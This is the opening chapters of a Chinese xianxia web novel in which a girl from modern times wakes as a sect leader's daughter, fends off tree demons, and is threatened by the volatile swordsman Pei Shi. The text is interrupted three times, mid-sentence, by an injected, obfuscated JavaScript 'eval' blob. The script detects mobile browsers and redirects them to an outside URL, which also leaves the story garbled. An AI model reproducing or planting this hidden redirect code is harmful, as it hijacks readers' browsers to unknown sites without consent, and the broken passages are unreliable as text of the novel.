《我是修真界第一大佬白月光》 1. 扰尘寰 外头花影重重叠叠,清脆鸟鸣不绝于耳,阳光漏过雕花窗棂在地上投下斑驳光影。 陆云笺挑挑拣拣半天,好容易选了一条鹅黄色镶着花边儿的裙子,在一众冷色调的衣裙中,这是她能挑出来为数不多色彩较为鲜明亮丽的。 今日是云间世尊主与其女出关的日子,穿得喜庆些总是好的。 这些衣物已经许久没有人碰过,显得有些陈旧。屋子虽时常有人打扫,但这些不便清理的东西,还是留下了岁月的陈迹。 陆云笺走出房门,阶下一位身着月白色衣裳的男子负手而立,身形镀了层淡淡日光,端的一派温和近人。 陆明周转过身,看着一身亮丽鹅黄的少女,怔了片刻,笑道:“走吧。” 陆云笺被陆明周领着往大殿走,经过一片斑斓花丛走上台阶时,看着他的背影有些出神。 这个世界的哥哥,好一派清俊温雅,与现代总是油嘴滑舌、吊儿郎当的他相比,叫人生出些不习惯来。 陆云笺出神片刻,并起二指抵在太阳穴上:“系统。” “系统大人。系统大哥。系统大姐。系统……” 陆明周回过头来:“你说什么?” 陆云笺绝望地放下手:“我在做梦。” 根本就没有系统。根本就没有提示。根本就没有穿越指南。 太窝囊了。 出车祸穿越没毛病,司空见惯的狗血情节。但从现代大都市穿越到怪力乱神的修真界,千呼万唤无系统无提示无指南…… 让一个在病床上躺了整整两年的绝望文盲药罐子穿来修真界? 让一个整整两年没动弹、四体不勤五谷不分的废柴扮演修真界第一大门派叱咤风云、神通广大的陆小姐? ……真是疯了。 她在弥留之际的确虔诚发愿想要向天再借五百年…… 但老天爷是不是审错题了,又或者给她发配错了。 闭上眼是冰冷的病床,睁开眼还是冰冷的,只是四壁一片死灰,是一间冰冷的石室。 她稍稍适应了一动骨节便咔咔作响的身体,又僵硬地坐在石床上,一动也不敢动。 接下来数日,她都在无比艰难但又无比努力地感受着,最后确定没有多余的东西,譬如系统或者原主的记忆。 什么都没有。 ……呸。 但好在修真界的父亲虽看着冷淡,但终归还是善解人意的,尽管一开始便发现了她记忆的缺失,却和善地表示理解,并未对她怪异的举止生疑。 于是陆云笺虽战战兢兢,但借着“失忆”这个狗血的由头暂时还能好好地活下去。 她也听过不少人死后灵魂穿越的传说,从前从来都不信,但如今看来,这似乎是最合适的解释。 陆云笺一阵头疼。 走一步,看一步,走错一步,就是死路。 陆云笺下意识想去拽前方陆明周的衣角,但总归是忍住了,手一转,攥住了自己的袖口:“哥,我有点紧张。” 陆明周时刻留意着她的话,回应得很快:“别紧张,不是什么大事。” 陆云笺道:“我觉得我装不好。待会儿要是有人一直找我说话,你一定要帮我。” 陆明周笑道:“那是自然。不过你无需担忧,无人敢为难你。” 他说着脚下一顿,回头做了个噤声的手势:“嘘,到了。” 陆云笺抬头望去,只见前方大殿金碧辉煌、雕梁画栋,黄金作顶,白玉为柱,红绸铺地,端的一派富丽堂皇,倒是不似仙门世家。 殿前一株通天神树,下至坤舆,上接穹顶,撑起云间世覆盖方圆百里的庞大结界。 携着浅淡金光的白色花瓣飘落如雪,在通往大殿的石阶上铺了厚厚一层,行路之人,步履生花。 大殿匾额上书“中孚殿”三个大字,陆明周说过,云间世立派先祖立下了“诛邪殄祟,佑世护民”的训诫,而“中孚”二字,取的是诚信立身、感化众生之意。 陆云笺从未见过此等华贵之所,却也不敢乱看,只挺直背脊,目不斜视地往前走,待陆明周带她到位置上坐了,又安抚了她一遍,才有闲心细看。 大殿的布置虽极为考究,陆云笺却也只粗略看了一番,并未多花心思,她最关心的是殿中的人。 陆明周说前些日子妖魔鬼怪作祟较为猖獗,许多仙君都不在门派之中,这次宴会大多却都出席了,因此她格外留意,看是否有熟悉的影子。 奈何望了一圈,并未看见现代的那些好友,正要悻悻收回目光,却忽然瞥见对面那列坐席端坐着一人,正直直地望着她。 那道目光太过直接,毫不掩饰,几乎有些烫人,陆云笺想忽视也忽视不得。 只是二人隔得远了些,陆云笺不能完全看清他的神色,只觉那人似乎相貌不凡,身着一身白衣,但那白衣并不是纯粹的白,镶着金边,还有些细碎花纹,并不那么清尘脱俗,倒衬得他像是一位矜贵公子。 长得好,穿的也好。还位列首席。 陆云笺思索着抬眸,大佬啊。 陆云笺骤然与他目光相触,下意识浑身一激灵,那人却仿佛浑然不知似的,视线没有偏移半分,仍是没有半点掩饰之意。 陆云笺忽然想起来,她在现代出车祸后,躺在病床上成了半个废人,睡的时间比醒的时间多,总是做一些破碎的梦,那些梦境的背景都是她现在所处的世界,而这人,似乎是她梦境里的常客。 无论在修真界还是现代她都不曾见过这个人,但隐约记得,自己同他感情是很好的,在那些破碎的梦境里,只要有他,便是张扬肆意的欢声笑语。 那些不知真假的梦究竟是什么? 难道是她死前上帝的垂怜,以便她死后,在又一场千秋大梦里找到熟悉的影子? 陆云笺看不清他脸上神情,但这种时候,礼貌的微笑总是没错的。 于是她抬眸望过去,报以一个尴尬而不失礼貌的微笑。 那人似乎有些诧异或者疑惑,但下一刻便有侍从呈礼物上来,陆云笺忙于应付,没再去观察他。 侍从小心翼翼地端着一方红绸盒子,里头呈着一块晶莹剔透的宝石,灯火之下熠熠生辉,只粗略一瞥,便知价值不菲。 陆云笺看了一眼便抬起头,问道:“这是什么?” “季衡、季瑶两位仙君有要事在身,未能及时赶回,特地送回了从白蛇妖那儿得的日月晶石,以表祝贺与歉意。” 一听这两个名字,陆云笺眼中便显而易见地绽放出光彩。 季瑶是她在现代最好的朋友,季衡是季瑶的哥哥,与她感情素来也很好。 陆云笺难掩兴奋之情,袖下指尖都微微颤抖了,又怕问得太突兀,只小心地问了句:“他们还有说什么吗?” 那侍从道:“没有。” 陆云笺又道:“他们现在在哪里?” 侍从回道:“晶石是从溟海村那边寄回的。” 侍从又端着盒子下去了,陆云笺紧绷的身体放松下来,无声地叹了口气。 一口气还没叹完,又有源源不断的人上前来或是送贺礼或是攀谈,陆云笺应付着,只觉力不从心。 陆明周忙得脚不沾地,替她挡了几回,也有些疲于应付了。 又一人端着礼盒上前来时,陆云笺再次叹了口气。 不待一口气叹到底,余光却瞥见大殿中央的砖石似乎在颤动,仿佛有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047588|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西在地面之下潜滋暗长,即将破土而出。 陆云笺还以为是自己累晕了眼花,正要收回目光,却见一瞬之间,粗壮的枝条破开地面,以极快的速度不断伸长,径直袭向她! 陆云笺知道她没有原主的记忆,在修真门派里算是个不会法术的废物,因此凡事总留个心眼,时时警惕。 她几乎是下意识猛地将站在对面的人推开,飞奔着躲到大殿的柱子后面去。 从前她跑得很快,出车祸后缠绵病榻,两年都没能下床好好走动走动。 修真界这副身躯虽然在她刚穿越来时如同经年不用的生锈机器一般不好使,但明显身体素质极好,在用惯了这副身体后,因为跑得更快,她反倒有种久违的成就感。 陆明周眼疾手快地为她撑起一方防御结界,提剑劈开了大殿中央的砖石,却见地下绿影一闪,那妖物跑得极快,眨眼便不见了。 然而那些枝条却毫不疲累,大片大片从地下钻出,朝着四面八方袭去。 见那枝条穷追不舍,陆云笺尝试着召出自己的佩剑,那剑材质上佳,沉得她险些拿不住,艰难地举起划了几下,剑气化作凌厉的风,瞬时便斩断了追上来的枝条。 奈何她没把控好力度,这一剑不仅斩断了枝条,也扫倒了一片修士。 陆云笺还没反应过来,忽听责骂之声响起:“陆云笺,你什么意思!” 来不及细辨这声音从何而来,陆云笺忙收了剑,又开始东躲西藏。 她跑到哪处,大片枝条便袭向哪处,众人见她如同见瘟神一般地躲,唯恐惹祸上身。 这些枝条攻击力并不很强,但它们胜在数量多,又打了众人一个措手不及。 众人许是不想在云间世大殿内多出手而惹祸上身,于是先求自保,没谁有心思去把那妖物从地下揪出来。 所有枝条有备而来,精准攻击,让人疲于奔命。 陆云笺欲哭无泪,边躲边朝着陆明周那边跑,以求他能及时保下自己的小命。 至于这些枝条为什么明摆着冲着她来,已经没有闲暇去想了。 防御结界若无灵力支撑着,能维持的时间并不长。 陆明周显然毫不习惯为她开防御结界,于是在他专注于斩断枝条时,防御结界逐渐削弱,这些枝条聪明地绕了个弯儿,从结界的边缘潜入,给陆云笺来了个迅雷不及掩耳之势的偷袭。 陆云笺一惊,下意识闪身,堪堪躲过一段枝条的攻击,眼看另一段枝条直直袭向她的心脏,再也躲不过时,忽然有人携着金色光芒飞身而上,利落地打破近乎透明的防御结界,斩断了那一片枝条,停在她身侧。 陆云笺抬头看去,是刚刚坐在首席,那位她认定的大佬。 四目相对的一瞬,陆云笺脑海中倏然炸响一个声音:“毁掉——” 那是她自己的声音。 是谁?这具身体原本的灵魂? 毁掉什么? 后头的语句却只剩一片嗡鸣,再也挖掘不出半点字句。 陆云笺定住心神,低眸瞥向他的手。 他所携的光芒是一把流溢着熠熠金光的仙剑,唰唰斩断一片枝条,却半点没有沾染上那些枝条的绿色汁液。 剑光璀璨,映照得他皮肤近乎苍白,不近人情的神色偏又配上一套温和眉眼,像一位带着光环、光芒万丈的温柔和蔼却杀伐果断的救世主。 救世主侧过头,嘴角勾起一抹冷嘲热讽的笑:“陆小姐出手何时如此客气了?” 陆云笺尚不知如何回答,救世主又道:“还是说,两年不见,陆小姐对这些妖物竟生出了慈悲心肠,舍不得下手?” 五官柔和,尽显温柔。但浑身戾气,毫不客气。 2. 旧相识 ……温柔和蔼个鬼。 陆云笺收回目光,笑着道了声谢,转过头,看着剩下的枝条“面面相觑”、犹豫不前。 这人之所以能轻易斩断一片枝条,是因为方才大多数人抵挡枝条时,他仍端坐在席上悠悠地品着茶,没有半点出手相助的意思,因此这些枝条将他视作了安全人物,并未提防他。 这些枝条吃了亏,也不去管别人了,几十几百段枝条合力齐齐攻向他和陆云笺。 他只维持着浅淡的笑,这笑里,有运筹帷幄的从容,也有不可一世的傲气。 敌人的合力攻击便于他一招使它们覆灭,正中他下怀。 他手中长剑金光流溢,陆云笺没来得及看清他怎样出剑,只见那道金色利刃一闪,那些枝条便尽数被斩断,化为灰烬。 那金光如同一道迅猛的雷电,顺着被击中的枝条蹿入地面之下,直往那妖物的本体而去。 陆明周一惊,抬剑欲拦,却为时已晚,那金光已经探入地下,轰然炸碎了大片砖石,大殿中央泥土碎石飞扬,霎时便出现了一个大坑。 一时间云间世结界似乎都有些动荡,整个大殿摇晃一瞬,好在片刻便静了下来,仿佛只是一瞬幻觉。 “大佬”神情冷淡,盯着被炸出的大坑一言不发。 陆明周面露担忧之色,原地站了一会儿,上前道:“云笺,你没事吧?” 陆云笺摇头:“哥,那妖怪呢?” 陆明周没有答她,只道:“别担心。” 陆云笺还欲再问,一旁忽然有人高声道:“陆小姐,我等此番造访原是为了恭贺陆尊主与陆小姐出关,陆小姐却持剑伤我门派中人,这是何意?” 陆云笺下意识往后退了一步,尚不知如何回答,又有一人道:“陆少主,陆小姐,云间世作为第一大门派,莫非结界脆弱至此,此等妖物竟也可随意潜入了么?若是如此,那云间世如何能保得在座各位安然无恙?” 这话说得刁钻,却也的确是云间世理亏,陆明周还未开口,四下附和之声便起,让人招架不住。 “是啊,我等不远千里赶赴陆尊主与陆小姐的出关宴,云间世为何如此?” “天下第一大门派都让这害人的妖物潜入了,这让人如何能安心?” 陆明周温声道:“诸位稍安勿躁。云间世东南角结界破损,尚未来得及修补完整,这才让妖物有了可乘之机。此事的确是云间世之过,云间世定会补偿各位的损失。” 众人静默片刻,忽有一人喊道:“云间世的结界若是如此不堪一击,简直枉称第一大门派!” 陆云笺循声望去,见一名约莫十七八岁的少年负手上前,锦衣以金丝织就,眉目间是稍带稚嫩的傲气,富贵人家的公子哥儿,咄咄逼人,不留余地。 陆云笺听见身旁的“大佬”不耐烦地啧了一声,却并未言语。 他一站出来打头,静默的众人便又七嘴八舌地嚷开了,叫嚷声如同汹涌的浪潮一般,将陆明周辩解的声音彻底淹没。 “季小公子。” 忽听殿上传来一声唤,这声音平静冷淡而不失威严,众人立时住了嘴,低下头,喧闹的大殿骤然安静下来。 云间世作为天下第一大门派,往日威严自是不必说,只是近几年云间世尊主时不时闭关,不常露面,尊主之女又重伤闭关、杳无音信,全派事务便都落在陆明周身上,而他也不过二十出头,性情又温润,难免压不住蠢蠢欲动的各门派。 云间世尊主与其女出关大办喜宴,就是要定住各门派,给本门吃一颗定心丸。 “季小公子近来很有闲心啊,自己的事都捋不清楚,倒为我云间世操心了。” 大殿之内一片死寂,先前咄咄逼人的人早不知退到了何处。 那季小公子也下意识往后一缩,气势去了大半。 陆稷在椅上坐了,陆明周上前恭恭敬敬见礼道:“父亲。” 陆稷看他一眼,未作任何表示,只朝着殿下众人道:“诸位赴宴的好意我自然心领,此番结界破损未及时修补,致使妖物潜入,云间世定当尽力补偿诸位。” 说完不等人说话,便着人领众人下去修整,在偏殿重开宴席。 众人原也是因为陆稷未曾到场,云间世可说“群龙无首”,这才非要讨个说法,如今他来了,这说法想讨也讨不得,便都不再多作纠缠。 陆云笺同陆明周一道留了下来,陆稷道:“裴世呢?” 陆明周道:“不知何时离开了。” 陆稷沉默片刻,道:“周儿,你还是礼节有余,气魄不足。对这些人,不必多说。” 陆明周点头称是。 陆稷又对陆云笺道:“近日不算太平,你应当早些与门派中人熟悉起来才是。” 陆云笺小鸡啄米一般点头,心中却叫苦。 一无所知的废柴,偏生还碰上不太平的世道。 待处理好宴会事宜,陆明周心有余悸地又教了陆云笺一些简单的基础法术,陆云笺学得吃力,正费心研究时,陆明周忽然问道:“云笺,你可还记得大殿上助你那人是谁?” 陆云笺略一思索,知他说的是那白衣男子,道:“不记得。是谁?” 陆明周似乎暗暗叹了口气,沉默片刻才道:“他叫裴世。从前你与他关系最为亲厚,如今你失了记忆,他若是知道,定然也是不好受的。方才在大殿上他算是救了你,你若带些礼物前去道谢,尽早与他再熟络起来,那便再好不过。” 陆云笺沉默一瞬,陆明周接着道:“父亲方才也是这个意思。” 陆云笺道:“好吧。但是我得先做做准备,比如打听打听他喜欢什么不喜欢什么,要是不小心得罪了人家,那多不好。” 陆明周道:“这却不好说。他性情高傲孤僻,行事常常让人捉摸不透,便是我,对他也并不知晓几分。” 听他描述,裴世似乎脾气不大好且难以接近,陆云笺便有些退缩:“哥,我觉得也不是这么快就非得和人家熟络起来……” 陆明周道:“你不必担心,他性情虽有些奇怪,但绝不会为难你。父亲与我常年忙于门派事务,难免照顾不周,你若是有事,大可以去找他。” 陆云笺道:“没别的人了么?……稍微和善一点的,之前没这么熟的也没关系。” “据我所知,怕是没有。”陆明周苦笑道,“毕竟你从前,常常也和他是一样的独来独往。” 陆云笺捧着精心挑选的礼物绕到云间世主山的另一边时,仍然有些想不明白。 一路上众人客客气气地与她打招呼,也有人热情洋溢不似作伪,怎么竟找不出个相熟的朋友呢? 陆云笺前几日在云间世转过几圈,因此一路上没什么磕磕绊绊,绕到主山另一边,没用多久就到了一片金色的结界前。 据说裴世此人喜清静,独身一人,不喜与人交往,因此他的住所隐在他设下的结界之后,一般人过不了这结界,自然也就进不去。 陆云笺小心翼翼地伸出一根手指探了探,手指穿结界而过,并未受到阻拦。 她收回手,整了整衣服,抬脚迈了进去。 穿过那金色的结界,映入眼帘的是层层掩映的白梅,这些梅花因着充沛的灵力终年盛开,永不凋谢。一间屋子好似藏在散发着淡淡幽香的片片白云之后,屋前横着片池子,在如练月光下泛着粼粼波光。 屋子除了普通的雕花以外没有太多装饰,檐廊连着跨过水池的木桥,四通八达,乍一看还有些错综复杂。 与山顶大殿相比,倒是此处更应云间世的景。 云间世有几位赫赫有名的年轻仙君,非是尊主亲眷,也不做长老,不收徒弟,但却有自己的居所,且来去自由、不受拘束。 裴世入世降妖除魔虽不过短短两年,却已是其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047589|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中一位,其性情阴晴不定,行事难以捉摸,令许多人忌惮,也令许多人不满。 陆云笺想了半天,才想起来裴世似乎还有个称号,叫做“归云仙君”。 这名字来历简单的很,裴世的佩剑叫做“归云”,是一把罕见的仙剑,素有“归云一剑动天下”的美称。 抱大佬大腿固然好,但阴晴不定捉摸不透的大佬,陆云笺是半点不想惹也不敢惹的。 救命恩情自然得报,但若要强求和他熟稔起来……还是罢了。 正这么想着,陆云笺已经上了台阶,到了房门口。 她在门口站了片刻,才抬手轻轻叩门。 无人应答。 陆云笺加重叩门的力度,道:“裴公子,我是陆云笺,裴公子在吗?” 一片寂静。 不在啊。不知为何,陆云笺悄悄松了口气,感觉一身轻松,转身便要离开,却忽地被窗前一道夺目光华引去了视线。 陆云笺下意识往窗内一瞥,瞥见数段银色辉光,再凑近些看,才发现那是几段断裂的刀。 断刀断口十分平整,月光之下,潋滟辉光,刀柄上似乎刻着什么圆滚滚的事物…… 还不待仔细去看,陆云笺心中忽地一刺,尚未反应过来,人已经退出好几步。 待缓过神来,才倏然意识到那是人家的东西,本也不该去看。 如此想着,陆云笺转身离开,走了没几步,到底有些不安,忍不住回头望了那空荡荡的屋子一眼。 此时刚刚入夜,云间世各处亮起了灯火,只有眼前这座屋子黑漆漆的,格格不入,显得有些孤寂。 云间世虽大,且终年云雾缭绕、道路错综复杂,但陆云笺绕了几圈,记牢了路,抄近道而行,就着灯火,回了自己的住处。 她的住所名为“流丹阁”,景如其名,房屋上的是丹漆,门前繁樱掩映如丹霞,一条蜿蜒小径连着青石台阶,琉璃瓦映着柔和月光,像是数盏温柔的灯火。 此一处虽说不大,但胜在精巧。 陆云笺进了屋,点了盏灯,把礼物放在一旁,四下环顾,只觉十分无聊,左右无事,只得打开了雕窗赏外头的景,片片樱花比在外头看更好看,如烟霞般绚丽梦幻。 建这屋子的人显然是用了些心思的,孤零零的一间屋子,却热闹得很,丝毫不显冷清。 听陆明周所说,她的屋前虽只有一片单一的花林,但这些花树都是些得来不易的种子,以灵力种下,不同季节会开不同的花,四时有四时的景。 简而言之,花费巨大,有钱人的消遣。 眼前这一切都是属于她的,陆云笺却只觉陌生,仿佛是从别人那里偷来了什么东西,荣华富贵固然好,她却只想回到自己熟悉的地方。 阴差阳错来到这个世界,可她从来都不是这个世界的人。 身后传来轻微的脚步声,陆云笺一惊,猛地从伤春悲秋里回过神来,回身看见一个高大黑影立在不远处,差点被吓个半死。 借着微弱月光,陆云笺费了好大力气定住心神,看清了那个人的脸。 是“大佬”。 陆云笺稍稍松了口气,见他神色晦暗不明,一言不发也并无下一步动作,浑身又不由自主起了鸡皮疙瘩,随即做出了似乎很合理的判断—— 这种时候,打招呼总是没错的。更何况他救了自己,至少不会是仇人,不至于要伤她性命。 陆云笺一时紧张,什么礼数也忘在脑后了,只想着先表现出些许友善,下意识抬手想要打招呼,那人却眼疾手快地抓住了她的手腕,稍一用力,骨骼发出“咔嚓”一声脆响,瞬时错了位。 陆云笺痛呼一声,思考能力像是被这一瞬清晰的痛楚与极度的惊愕尽数夺去了,根本来不及做出任何反应,唯有泪水不受控制地流下。 那人放开她,冷笑一声道:“陆云笺,你就这么想杀我?” 3. 错劫笼 他大概以为她要召唤武器开法阵之类。 陆云笺痛得滚到了地上,总算恢复了些微思考能力,在心中痛骂道:有病吗?!被害妄想症?! 她喘了几口气,一个字从令人晕眩的疼痛中渐渐冒出来。 “跑”。就算跑不掉,也比坐以待毙好。 陆云笺从痛楚中回过神,朝着门口挪了几寸,趁他没有下一步动作,猛地起身拔腿就跑。 外面都是灯火,只要跑出去…… 那人怔愣了片刻,随即大步追了上来,如亮出獠牙的猛虎一般扑倒了她,掐住了她的脖颈:“你跑什么?” 陆云笺冷汗涔涔,无法呼吸,更抵挡不住他的杀意。 屋内一片死寂,起初陆云笺还能听得见自己艰难的呼吸,到后来,所有的知觉都不甚清晰,像是小小虫蚁被一张巨大的蛛网死死束缚了,生命在其中一点一点消逝无痕。 陆云笺绝望地闭上眼,轻轻动了动右手,用尽全力从牙缝里挤出两个字:“破月。” 破月是她的匕首。之前陆明周教会她召唤自己的武器,说她从前最善用匕首,只是那匕首力量太过强大,恐她难以控制,因此要她避免轻易使用。 没想到初次使用,竟然是在这种情况下。 那人没听清,微微松了手,下意识凑近:“什么?” 尚未听见回答,便觉脖颈一凉,一道锐利锋刃的尖端已然没入他的皮肤,渗出丝丝鲜血。 陆云笺在现代连鸡都没杀过,此时拿匕首指着人,手抖得厉害,艰难开口,声音抖得更厉害,却还是尽力镇定地盯住他的眼睛,咬牙道:“……杀了我……你……也别……想活……” 她感受到他的力道又轻了些,似乎想说些什么,陆云笺不敢等他讲话,铆足了劲一脚踹出,自己滚到一边,艰难地喘着气。 那人死死盯着她,又欲上前。 陆云笺浑身脱力,大脑飞速运转,不知该如何逃出生天。 正在此时,陆明周的声音伴随着敲门声响起:“云笺?” 陆云笺仿佛听见了天神的声音,欲起身开门,却还没有从缺氧的晕眩中完全缓过来,全然起不得身。 陆云笺只得边喊陆明周边艰难地朝门口移动些许,以手肘撞击地面,尽量让陆明周听见。 陆明周推门而入,看见屋内的一片狼藉和趴在地上的陆云笺,忙三两步迈到她身边,将她扶起:“怎么了?” 陆云笺一时说不出话,陆明周瞥见裴世好好地站在一边,犹豫片刻,道:“裴世,你怎么在此处?” 裴世闻言,露出一个温和良善的微笑:“陆小姐出关,我还没有机会与她搭上几句话,因此特地前来拜访。不料正巧碰见陆小姐自己伤了手,在那儿鬼哭狼嚎,我原想去扶,这不是陆少主恰好来了?” 他笑得甜蜜,唤得生分,叫陆明周起了一身鸡皮疙瘩。 “云笺,你受伤了?”陆明周又细细察看了她的伤势,似是有些意外,“怎么伤的?” 陆云笺眼泪还没干,鼻子一酸又要流泪,因为痛,因为暖,更因为救星在前,她却因为凶手要杀人的眼神而无法指控。 “……我自己不小心。”陆云笺咬着牙,带着滔天恨意看向裴世。 裴世好整以暇地抱臂看着她。 “陆小姐闭关两年,怎会变得如此容易受伤啊。” 陆明周给陆云笺上着药,闻言转头:“裴公子有所不知,云笺闭关两年,醒来后记忆有所缺失。” 陆云笺想死的心都有了。 裴世显然不信:“失忆?” 陆明周点头:“原想知会你,但你有任务在身,耽搁不得,便没有寻到机会。从前云笺接委派出任务都是与你一起的,你现在可否帮她一把?” 陆云笺忙道:“不不不麻烦裴公子,我与季瑶说好了,她可以带我。而且我现在什么都不会,还是再多学一学比较好。” 陆明周奇道:“季小姐……你何时与她如此相熟了?” 陆明周看起来善于察言观色,却又总会不合时宜地表现出几分清澈的愚蠢。 这理由本也是陆云笺胡扯的,她换了副笑脸,继续一本正经地胡说八道:“季小姐差人送了我日月晶石,是从白蛇妖那儿得的,特别贵重,所以我散宴之后就用通讯符和她聊了会儿,哥你不是才教会我用通讯符?我觉得她人特别特别好。而且我们都是女孩子,修炼和生活上都能有个照应。” 陆明周沉默了,陆云笺见他犹豫,正欲再编出几个理由,忽听裴世轻声笑道:“陆小姐,你从前与我说镜阳宗诸人愚不可及,季小姐虽与他们不同,却清高难接近,如今说她人好,只怕是错觉。你从前出任务都是与我一起的,我最是熟悉你的术法与招式,我带你,定然比她合适。” 陆明周当即干脆地点头拍板:“裴公子说的是。” 是你个头啊! 陆云笺欲哭无泪,只能暗暗掐陆明周一把,压低声音道:“哥,有些话我想单独和你说。” 陆明周总算听了她一回:“那便如此定下了。裴公子,我与云笺还有些私事要说,裴公子若无其他要事……” 裴世听懂了他的逐客令,偏头对陆云笺笑道:“陆小姐若是有什么事,欢迎前来寻我,我定当全力相助。” 说着便转身推门,走前意味深长地看了陆云笺一眼,其中情绪复杂,但好歹不再是单一的冰冷杀意。 陆云笺松了口气,但又怕裴世没走远,只得尽量委婉地表示:“哥,就算我与裴公子之前一直是搭档,但现在我和他都没见过几面……” 陆明周打断她:“云笺,从前你与裴世感情最为深厚,当初他灵力尚弱时,你强烈要求与他一同除祟,说可怜他的身世,要护着他,你当真半分也记不得了?” 陆云笺心累地闭上眼。 若是之前他们的感情真那么好,也无怪父亲和陆明周都对他如此放心。 但那又怎样?她现在只想保住自己的小命啊! 陆云笺顾不得裴世在没在外头了,一把抓住陆明周道:“哥,为什么一定得是他?” 陆明周还没来得及回答,地面突然一阵摇晃,紧接着门外爆发出一声震耳欲聋的巨响,刺眼的金色光芒亮了一瞬,继而随着声音消散在空中。 陆云笺与陆明周都再顾不得说私事,急忙起身推门而出,见阶下裴世正与一株参天巨木缠斗,那巨木挥舞着无数枝条,招数与大殿上被杀死的藤妖如出一辙。 敢情是杀了小的,大的来寻仇了。 陆明周把陆云笺往身后推,随即召出佩剑,提剑便上。 陆云笺躲进屋内观战,但她忘了,她与这些枝条们是有些冤仇的,前头裴世和陆明周与它斗得正酣,后头几段枝条又绕了个道来偷袭她。 陆云笺武器用得不熟练,左手又受了伤,而那枝条似乎聪明了些,蜿蜒着躲开,又找空隙攻击。 陆云笺砍不中这些枝条,索性收了武器,掏出从陆明周那儿讨来的烈火符灌了灵力就朝这些枝条扔去,然而符纸还没飞多远,就自己化成了灰烬。 陆云笺后知后觉地想起来,陆明周似乎说过,画好的符纸虽可随时使用,但符纸本身的力量并不十分强大,若是灌注太多灵力,它承受不住,便会自己化为灰烬。 看来云间世的陆小姐比她想象中还要强上太多。 陆云笺顾不上欣喜,躲闪间又使了几枚烈火符,这些符纸循着妖气而去,精准攻击,几段枝条霎时化为灰烬! 几段枝条刚被烧成灰烬,又有几段更粗壮的紧接着又上,速度更快,攻势更猛。 屋内陆云笺手忙脚乱地应对,屋外裴世与陆明周术法的金光与蓝光交替,可这枝条却砍不尽似的,不知疲倦地一波又一波袭来。 看来与大殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047590|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的藤妖一样,只要这些枝条的本源还在,枝条的攻击便不会结束。可显然裴世与陆明周着力攻击了树干,却似乎并无太大作用。 所以树干不是本源。 这巨木的树干与枝条都是可移动的,唯有纵横交错的根埋在地下,没有攻击人的迹象。 横竖在屋里也躲不开攻击,陆云笺心一横,闪到陆明周身边:“哥,你试过它的根没有?” 陆明周道:“没有,我们一靠近它的根,它的枝条便会发疯一般向我们袭来……” 说着又微微一顿,道:“云间世内万千草木皆以神树为本源,这树妖也已修炼了百年,若是伤它太重,不知会不会影响神树……” 陆云笺胡乱挥舞着手中佩剑,斩断一段是一段:“别的人呢?” 陆明周道:“这树妖与那藤妖并非全然相同,它能开花,许是花香迷惑了旁人,或是制造了幻境。流丹阁与别的地方隔得远,旁人一时半刻来不了。” 陆云笺挥剑的手一顿,思索片刻,道:“你再给我几张烈火符,它怕火,烈火符一烧它就会退去,不会伤到神树。” 陆明周道:“你不熟悉术法,近不了它的身。” “只能是我。” 陆明周微微一怔,侧头看向她:“……什么?” 陆云笺道:“上一回是我将它们封在地下的,我现在灵力不稳,一时没能镇住它们,让它们一时钻了空子来造反,所以这一回要将它们彻底镇住,还是得我来。” 陆明周的瞳眸一时震颤不止,他几乎忘了挥剑对敌,一开口,声音也有些颤抖:“……云笺,你没有失忆?” “不是,”陆云笺苦涩地笑了笑,“我的确什么都不记得了,但刚才脑海里有个声音……是我自己的声音,告诉了我一个阵法,让我去镇住它们。” 陆明周仿若木僵人偶般一时没有动弹,陆云笺拉过他,避开一段飞舞的枝条:“哥,你想什么呢?你别担心我,我跑得很快的,你们去上面拖住它的枝条,我找机会烧了它的根就好。” 陆明周闻言像是终于缓过神来,从袖中掏出一把烈火符:“都在此处了。多加小心。” 陆云笺点头,燃了两张烈火符逼退身后跟来的枝条,以最快的速度冲向巨木裸露在地面上的根。 陆明周为她开了一方防御结界暂时抵御住枝条的攻击,陆云笺不敢跑太远,寻到一处裸露的根便把烈火符尽数甩出,又捏了个烈火蔓延的咒诀,企图让烈火符的火沿着巨木的根蔓延,逼它尽快退去。 不过烈火蔓延的咒诀她才刚学,用得并不熟练,火是蔓延了,但速度极慢,搞不好可能会被枝条弄灭。 陆云笺依照脑中的图像飞速绘制阵法,然而因着图像模糊不清,她又从未开过阵法,因此绘得极不熟练,阵法刚成型,还未来得及启动,便觉身后一凉。 尽管陆明周挡住了上方的枝条,却不想几段新的枝条破土而出,拧成一段极其粗壮的枝条正以极快的速度破开防护结界向她袭来! 陆云笺躲闪不及,忽有一人以迅雷不及掩耳之势闪到她身边,挥剑斩断他身后跟来的枝条,伸手抱住了她。 